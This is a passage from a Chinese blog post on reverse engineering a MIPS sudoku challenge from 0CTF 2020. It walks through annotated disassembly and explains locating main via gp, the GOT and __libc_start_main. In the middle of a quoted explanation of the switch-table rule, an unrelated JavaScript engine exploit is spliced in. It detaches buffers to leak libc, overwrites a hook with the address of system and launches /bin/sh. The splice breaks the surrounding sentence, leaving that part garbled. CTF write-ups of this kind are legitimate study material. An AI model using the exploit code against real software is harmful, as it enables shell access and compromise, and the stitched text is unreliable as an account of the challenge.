400762: beqzc a3,400770 <_init+0x3a8> 400764: lapc a0,400808 <_fini+0x78> 400768: lw a3,44(gp) 40076c: jalrc a3 puts("Right"); 40076e: bc 400786 <_init+0x3be> 400770: lapc a0,400810 <_fini+0x80> 400774: lw a3,44(gp) 400778: jalrc a3 puts("Wrong"); 40077a: bc 400786 <_init+0x3be> 40077c: lapc a0,400810 <_fini+0x80> 400780: lw a3,44(gp) 400784: jalrc a3 puts("Wrong"); 400786: move a3,zero 400788: move a0,a3 40078a: restore.jrc 128,fp,ra,gp

 

参考:https://hxp.io/blog/74/0CTF-2020-writeups/

:
400580:	save	48,fp,ra
400584:	addiu	fp,sp,-4048
400588:	sw	zero,12(sp)            unsigned char tmp[9] = { 0 };
40058a:	sw	zero,16(sp)
40058c:	sb	zero,20(sp)
400590:	sw	zero,28(sp)            unsigned int j = 0; // *(int *)(sp + 28)
400592:	bc	4005e0 <_init+0x218>
400594:	sw	zero,24(sp)            unsigned int i = 0; // *(int *)(sp + 24)
400596:	bc	4005c6 <_init+0x1fe>
  
400598:	lw	a2,28(sp)
40059a:	move	a3,a2
40059c:	sll	a3,a3,3
40059e:	addu	a3,a3,a2
4005a0:	lapc	a2,420054
4005a4:	addu	a2,a3,a2           // a2 = (arr_420054[9 * j]);
4005a6:	lw	a3,24(sp)
4005a8:	addu	a3,a2,a3
4005aa:	lbu	a3,0(a3)               // a3 = arr_420054[9 * j + i];
4005ac:	move	a2,a3
4005ae:	lapc	a3,420000
4005b2:	addu	a3,a2,a3
4005b4:	lbu	a2,0(a3)               a2 = arr_420000[arr_420054[9 * j + i]];
4005b6:	lw	a3,24(sp)
4005b8:	addiu	a1,sp,32
4005ba:	addu	a3,a1,a3
4005bc:	sb	a2,-20(a3)             tmp[i] = a2;
4005c0:	lw	a3,24(sp)
4005c2:	addiu	a3,a3,1
4005c4:	sw	a3,24(sp)              i++;
4005c6:	lw	a3,24(sp)
4005c8:	bltic	a3,9,400598        if (i < 9) goto 400598;
4005cc:	addiu	a3,sp,12
4005ce:	move	a0,a3
4005d0:	balc	4004c6 
4005d2:	move	a3,a0
4005d4:	bnezc	a3,4005da          if (!check0_chk_perm(tmp)) return 0;
4005d6:	move	a3,zero
4005d8:	bc	4005e8
4005da:	lw	a3,28(sp)
4005dc:	addiu	a3,a3,1
4005de:	sw	a3,28(sp)              j++;
4005e0:	lw	a3,28(sp)
4005e2:	bltic	a3,9,400594        if (j < 9) goto 400594;
4005e6:	li	a3,1                       return 1;
4005e8:	move	a0,a3
4005ea:	restore.jrc	48,fp,ra
:
4004c6:	save	80,fp,ra
4004c8:	addiu	fp,sp,-4016
4004cc:	sw	a0,12(sp)
4004ce:	sw	zero,20(sp)         int c[9] = { 0 };
4004d0:	sw	zero,24(sp)
4004d2:	sw	zero,28(sp)
4004d4:	sw	zero,32(sp)
4004d6:	sw	zero,36(sp)
4004d8:	sw	zero,40(sp)
4004da:	sw	zero,44(sp)
4004dc:	sw	zero,48(sp)
4004de:	sw	zero,52(sp)
4004e0:	sw	zero,60(sp)         int i = 0; // *(int *)(sp + 60)
4004e2:	bc	400550 <_init+0x188>
  
4004e4:	lw	a3,60(sp)
4004e6:	lw	a2,12(sp)
4004e8:	addu	a3,a2,a3
4004ea:	lbu	a3,0(a3)            a3 = perm[i]
4004ec:	addiu	a3,a3,-97
4004f0:	bgeiuc	a3,26,400546    if (perm[i] - 0x61 >= 26) return 0;
4004f4:	lapc	a2,400798
4004f8:	lwxs	a2,a3(a2)       a2 = arr_400798[perm[i] - 0x61];
4004fa:	brsc	a2              switch (perm[i]) {
4004fe:	lw	a3,20(sp)               /* 0x00 */  case 'z':
400500:	addiu	a3,a3,1             /* 0x02 */      c[0]++;
400502:	sw	a3,20(sp)               /* 0x04 */  break;
400504:	bc	40054a <_init+0x182>    /* 0x06 */
400506:	lw	a3,24(sp)               /* 0x08 */  case 'x':
400508:	addiu	a3,a3,1             /* 0x0a */      c[1]++;
40050a:	sw	a3,24(sp)               /* 0x0c */  break;
40050c:	bc	40054a <_init+0x182>    /* 0x0e */
40050e:	lw	a3,28(sp)               /* 0x10 */  case 'c':
400510:	addiu	a3,a3,1             /* 0x12 */      c[2]++;
400512:	sw	a3,28(sp)               /* 0x14 */  break;
400514:	bc	40054a <_init+0x182>    /* 0x16 */
400516:	lw	a3,32(sp)>              /* 0x18 */  case 'a':
400518:	addiu	a3,a3,1>            /* 0x1a */      c[3]++;
40051a:	sw	a3,32(sp)>              /* 0x1c */  break;
40051c:	bc	40054a <_init+0x182>>   /* 0x1e */
40051e:	lw	a3,36(sp)>              /* 0x20 */  case 's':
400520:	addiu	a3,a3,1>            /* 0x22 */      c[4]++;
400522:	sw	a3,36(sp)>              /* 0x24 */  break;
400524:	bc	40054a <_init+0x182>    /* 0x26 */
400526:	lw	a3,40(sp)               /* 0x28 */  case 'd':
400528:	addiu	a3,a3,1             /* 0x2a */      c[5]++;
40052a:	sw	a3,40(sp)               /* 0x2c */  break;
40052c:	bc	40054a <_init+0x182>    /* 0x2e */
40052e:	lw	a3,44(sp)               /* 0x30 */ case 'q':
400530:	addiu	a3,a3,1             /* 0x32 */     c[6]++;
400532:	sw	a3,44(sp)               /* 0x34 */ break;
400534:	bc	40054a <_init+0x182>    /* 0x36 */
400536:	lw	a3,48(sp)               /* 0x38 */ case 'w':
400538:	addiu	a3,a3,1             /* 0x3a */     c[7]++;
40053a:	sw	a3,48(sp)               /* 0x3c */ break;
40053c:	bc	40054a <_init+0x182>    /* 0x3e */
40053e:	lw	a3,52(sp)               /* 0x40 */ case 'e':
400540:	addiu	a3,a3,1             /* 0x42 */     c[8]++;
400542:	sw	a3,52(sp)               /* 0x44 */ break;
400544:	bc	40054a <_init+0x182>    /* 0x46 */
  
400546:	move	a3,zero                        default: return 0;
400548:	bc	40057c <_init+0x1b4>    }
  
40054a:	lw	a3,60(sp)
40054c:	addiu	a3,a3,1
40054e:	sw	a3,60(sp)           i++;
400550:	lw	a3,60(sp)
400552:	bltic	a3,9,4004e4     if (i < 9) goto 4004e4;
400556:	sw	zero,56(sp)         j = 0;
400558:	bc	400574
  
40055a:	lw	a3,56(sp)
40055c:	sll	a3,a3,2
40055e:	addiu	a2,sp,64
400560:	addu	a3,a2,a3
400562:	lw	a3,-44(a3)          a3 = c[j];
400566:	beqic	a3,1,40056e     if (c[j] != 1)
40056a:	move	a3,zero         return 0;
40056c:	bc	40057c
40056e:	lw	a3,56(sp)
400570:	addiu	a3,a3,1
400572:	sw	a3,56(sp)           j++;
400574:	lw	a3,56(sp)
400576:	bltic	a3,9,40055a     if (j < 9) goto 40055a;
40057a:	li	a3,1
40057c:	move	a0,a3
40057e:	restore.jrc	80,fp,ra

 逻辑是数独:nu1l战队给出的逻辑(还是人家说的清楚)

程序的⼤致逻辑是读⼊数据并把 flflag{} ⾥⾯的字符填⼊到 0x420000 开始值为 0 的区域,之后通过⼀次变
换得到 1-9 的数字,其中变换的 switch 索引表在 0x400798 ,⼤致规则为
let p64 = ( value ) => {
let result = new Uint8Array ( 0x8 );
for ( var i = 0 ; i < 8 ; i ++ ) {
result [ i ] = Number ( value & 0xffn );
value >>= 8n ;
}
return result ;
};
let sb = new Uint8Array ( 0x4500 );
let ss = new Uint8Array ( 0x4500 );
% ArrayBufferDetach ( sb . buffer );
ss . set ( sb );
let st = new Uint8Array ( 0x4500 );
let libc_leak = u64 ( ss . slice ( 8 , 16 )) - 0x3ebca0n ;
console . log ( "Libc = " + libc_leak . toString ( 16 ));
let system = libc_leak + 0x4F440n ;
let system_ss = p64 ( system );
let chunk_ptr = libc_leak + 0x3ED8D0n ;
let chunk_ss = p64 ( chunk_ptr );
let cmd = new Uint8Array ([ 47 , 98 , 105 , 110 , 47 , 115 , 104 , 0 ]);
let vvv = new Uint8Array ( 0x100 ); vvv . buffer ;
vvv . set ( cmd );
let ab = new Uint8Array ( 0x40 ); ab . buffer ;
let ac = new Uint8Array ( 0x40 ); ac . buffer ;
% ArrayBufferDetach ( ab . buffer );
% ArrayBufferDetach ( ac . buffer );
ac . set ( chunk_ss );
% SystemBreak ();
let ad = new Uint8Array ( 0x40 ); ad . buffer ;
let ae = new Uint8Array ( 0x40 ); ae . buffer ;
ae . set ( system_ss , 0x18 );
% ArrayBufferDetach ( vvv . buffer );
while ( true ) { } (byte_400798[input - 97] / 4 + 1)
索引结果为 0x24 都不合法
之后程序会按照正常流程验证从 0x420000 开始⼤⼩为 9*9 的数独,但是每个 9 宫格的验证⽅式和正常数
独不太⼀样,是按照 0x420054 开始的索引表验证的,类似于这样的形式:

可以直接到网上有结数独的地方直接解,233333

利用gp,got来找main函数

可以先在x86框架下,跟一下main函数,熟悉一下got plt表

跟着这篇:https://bbs.pediy.com/thread-257545.htm

总而言之在x86框架下调用动态链接库里的函数、

先跳到对应的plt项里,然后跳到got偏移里存的某值(就是plt的下一个地址),之后push个函数在.rel.plt的偏移,之后跳到公共plt里,push got[1]里的值(数据结构描述符的地址),之后再调用_dl_runtime_resolve做地址解析和重定位的。

而在mips下就简单很多,

只需要利用gp寄存器锁定got,加偏移就可以找到

MIPS架构下的逆向初探_第68张图片

 

至于gp寄存器怎么找到got的。只要在link文件中添加_gp符号,连接器就会认为这是gp的值。我们在上电时,将_gp的值赋给gp寄存器就行了

_gp就是链接器储存静态数据的地方

(来自一位大佬的文章)

而我们的52(gp)的位置,就是_libc_start_main

MIPS架构下的逆向初探_第69张图片

而传进去的参数( 4006e4, sp+4, 4200b8, 4200b4,  0)

我们可以看一下__libc_start_main函数的原型

可能是这样的

extern int BP_SYM (__libc_start_main) (

int (*main) (int, char **, char **),

int argc,

char *__unbounded *__unbounded ubp_av,

void (*init) (void),

 void (*fini) (void),

 void (*rtld_fini) (void),

(找到的类似的__libc_start_main函数)

其实第一个地址是main函数的地址,而4200b8是init, 4200b4是finit。

这样就找到了main的地址。

在最开始的静态总结的时候,提到有时ghidra里的got表反编译有问题。

可以在ida里查看。

0x04 总结

本文摘录归纳了很多网上大佬的文章,如有错误,望路过大佬斧正。希望可以给各位客观一些帮助。

(题目稍后会附上)逃~~~

 

 

你可能感兴趣的:(CTF,mips)